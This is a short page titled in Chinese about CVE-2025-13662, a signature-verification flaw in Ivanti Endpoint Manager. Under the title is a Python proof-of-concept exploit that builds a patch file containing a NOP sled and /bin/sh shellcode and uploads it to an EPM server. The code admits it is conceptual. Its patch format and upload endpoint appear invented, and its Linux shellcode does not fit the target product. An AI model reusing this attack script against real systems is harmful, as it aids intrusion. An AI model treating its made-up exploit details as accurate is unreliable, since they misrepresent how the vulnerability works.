CVE-2025-13662 Ivanti Endpoint Manager 密码签名验证不当导致远程代码执行漏洞

import requests import hashlib import struct # CVE-2025-13662 PoC - Constructing malicious patch with invalid signature # Target: Ivanti Endpoint Manager < 2024 SU4 SR1 def generate_malicious_patch(): """ Generate a malicious patch file that bypasses signature verification """ # Patch file header structure header = b'EPM_PATCH' # Magic bytes version = struct.pack('<I', 1) # Patch version flags = struct.pack('<I', 0x00) # No signature verification flag # Malicious payload - reverse shell or arbitrary code execution payload = b'\x90' * 16 # NOP sled payload += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # This is a sample shellcode - replace with actual target-specific payload # Invalid/corrupted signature (bypassing verification) invalid_signature = b'\x00' * 256 patch_data = header + version + flags + payload + invalid_signature return patch_data def exploit(target_url): """ Send malicious patch to Ivanti EPM server """ patch_data = generate_malicious_patch() # Craft HTTP request to upload malicious patch headers = { 'User-Agent': 'Ivanti Endpoint Manager Agent', 'Content-Type': 'application/octet-stream' } # Target endpoint for patch upload endpoint = f'{target_url}/patch/upload' try: response = requests.post(endpoint, data=patch_data, headers=headers) print(f'[+] Response Status: {response.status_code}') print(f'[+] Malicious patch sent successfully') return True except Exception as e: print(f'[-] Error: {str(e)}') return False # Note: This is a conceptual PoC for demonstration purposes # Actual exploitation requires: # 1. Valid authentication or session hijacking # 2. Understanding of specific patch format # 3. Appropriate shellcode for target environment # 4. Network access to EPM server if __name__ == '__main__': target = 'https://vulnerable-epm-server.com' exploit(target)